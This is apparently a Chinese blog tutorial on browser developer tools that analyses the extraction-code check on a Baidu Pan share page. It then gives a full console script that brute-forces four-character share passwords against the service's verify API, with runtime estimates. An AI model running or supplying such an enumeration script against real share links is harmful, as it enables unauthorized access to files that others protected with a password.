zoukankan      html  css  js  c++  java
  • 浏览器开发者工具使用实例

    开发者工具使用实例

    1、查找事件执行函数

    举例

    F12打开控制台

    在 chrome 的控制台的Element选项卡面板里右侧面板有个 Event Listeners,这里会显示你所选择元素的原生事件。原生事件就是元素上直接onclick="xx"等,如下图。

    显示是按事件类型显示的,此处是标准事件click,展开后就是在哪些元素上绑定的,同一行后面超链接可以在Sources选显卡里定位处理过程。这个Dom事件模型要了解。然后紫色的handler就是处理函数,光标在上面就会显示出来。

    下面来寻找百度云的那里按钮的处理函数。

    右键菜单-Inspect element自动打开开发者控制台并定位在Element选项卡dom树里元素的位置。

    在弹出的Elements选项卡右侧面板选择Event Listeners,可以看到click的事件是通过元素id为submitBtn的标签为a来触发的。直接点击挂钩元素后的超链接或者找到handler,在上面右键鼠标选择"Show Function Definition"菜单,来打开处理函数。Js代码本来本来就是让人看到的,只要不是写的太挫就行。。。

    2、分析

    美化展开如下(使用了Jquery库):

    // JavaScript source code

    var requestToken = function () {

    var A = $("#accessCode").attr("value"),//2222

        C = $("#ycode").val(),//""

        B = $(".pickcode img:first").attr("verify"),//undefined

        _ = function () {

         //语法 jQuery.post(url, data, success(data, textStatus, jqXHR), dataType)

         $.post(disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=" + (new Date().getTime()), { pwd: A, vcode: C }, function (A) {

         //请求成功时执行的回调函数。

         var _ = null;

         try {

         _ = $.parseJSON(A);

         } catch (B) {

         }

         if (_ != null && _.errno == -62) {

         $(".ac-close").addClass("ac-open").removeClass("ac-close");

         $("#tip").css("display", "block").text("(u5bc6u7801u9519u8bef)");//密码错误

         verifyCodeLoad();

         } else {

         if (_ != null && (_.errno == -19 || _.errno == -63)) {

         $(".ac-close").addClass("ac-open").removeClass("ac-close");

         $("#tip").css("display", "block").text("(u9a8cu8bc1u7801u9519u8bef)");//验证码错误

         verifyCodeLoad();

         } else {

         if (_ != null && _.errno == -9) {

         $("#tip").css("display", "block").text("(u5bc6u7801u9519u8bef)");//密码错误

         } else {

         if (_ == null || _.errno !== 0) {

         $("#tip").css("display", "block").text("(u5bc6u7801u9519u8bef)");//密码错误

         } else {

         location.assign("/share/link" + location.search);

         }

         }

         }

         }

         });

        };

    if (A.length == 0) {

    $("#tip").text("(u8bf7u8f93u5165u63d0u53d6u5bc6u7801u518du63d0u4ea4)").show();//请输入提取密码再提交

    return false;

    } else {

    if (B == "verify" && C.length == 0) {

    $("#tip").text("(u8bf7u8f93u5165u9a8cu8bc1u7801)").show();//请输入验证码

    return false;

    } else {

    $("#tip").css("display", "none");

    _();//发送请求

    }

    }

    A = A.toLowerCase();

    }

    看看id为accessCode的元素,Console选项卡里输入$("#accessCode")回车,光标移动到结果上显示位置,如图。

    function cookie_delete(name) //删除cookie

    {

    var exp = new Date();

    exp.setTime(exp.getTime() - 1);

    var cval = cookie_get(name);

    if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString();

    }

    function cookie_get(name) //读取cookie

    {

    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");

    if (arr = document.cookie.match(reg))

    return unescape(arr[2]);

    else

    return null;

    }

    3、测试

    对于某ID

    有时喜欢使用短地址http://pan.baidu.com/s/1eQzPrjk,即

    由于这个测试地址失效重新换了一个,输入一个提取码测试,如下返回结果。其中,返回了一个Set-Cookie,即BDCLND(大概就是百度云盘标识),每次成功都会改变。只要这个cookie存在关闭浏览器重新打开分享的地址就无需输入了,但是根据这个cookie时间貌似很长啊,一个月。

    4、代码枚举

    如果直接在控制台执行提取码枚举:

    (function pwd_enumeration() {

    var fixed_url = disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=",

    letterTable = "0123456789abcdefghijklmnopqrstuvwxyz",

    data_vcode = "",

    data_pwd,

    post_url;

    var pwd_idx0 = 0, pwd_idx1 = 0, pwd_idx2 = 0, pwd_idx3 = 0, maxidx = letterTable.length;

    var pwd_enumeration_run = function () {

    post_url = fixed_url + (new Date().getTime());

    data_pwd = letterTable.charAt(pwd_idx0) + letterTable.charAt(pwd_idx1) + letterTable.charAt(pwd_idx2) + letterTable.charAt(pwd_idx3);

    $.post(post_url, { pwd: data_pwd, vcode: data_vcode },

    function (data) {

    var _ = null;

    try {

    _ = $.parseJSON(A);

    } catch (e) {

    }

    if (null != _ && 0 == _.errno) {

    console.log(data_pwd);

    } else {

    if (++pwd_idx3 >= maxidx) {

    pwd_idx2++;

    pwd_idx3 = 0;

    }

    if (pwd_idx2 >= maxidx) {

    pwd_idx1++;

    pwd_idx2 = 0;

    }

    if (pwd_idx1 >= maxidx) {

    pwd_idx0++;

    pwd_idx1 = 0;

    }

    if (pwd_idx0 < maxidx) {

    setTimeout(pwd_enumeration_run, 1);

    } else {

    console.log("ends without pwd found.");

    }

    }

    }

    );

    };

    setTimeout(pwd_enumeration_run, 1);

    })();

    5、评估

    如果此时打开,当上千条时就会很卡。。。不建议打开了。平均60ms一次,如果36^4 * 60ms = 100776960ms = 1679.616min = 27.9936h,最坏大约28小时,此页面的控制台进程内存也在涨。估计这个太不值得了,就为了一个提取码。如果纯数字就容易些,最坏10分钟。

    在Task Manager(Shift+ECS)可以看到是否一直在执行。

     6、

    <textarea id="runcode"></textarea >

    <input onclick="runEx('runcode')" type="button" value="运行代码">

    function runEx(cod1) { cod=document.getElementById(cod1) var code=cod.value; if (code!=""){ var newwin=window.open('','',''); newwin.opener = null newwin.document.write(code); newwin.document.close(); } }

    7、用自己手机接受一下,填写确认码。之后如下图删除再填写任意号码。

  • 相关阅读:
    HTML5就是现在:深入了解Polyfills
    dot.js-js模板引擎使用,教程,入门
    js操作dom对象
    JavaScript中this详解
    浅谈JavaScript中的string拥有方法的原因
    函数定义方式
    Jquery的跨域调用
    数据结构与算法之美-排序(下)
    CLR via C#学习笔记-第十三章-定义接口、继承接口
    CLR via C#学习笔记-第十二章-可验证性和约束
  • 原文地址:https://www.cnblogs.com/Fang3s/p/3970651.html
Copyright © 2011-2022 走看看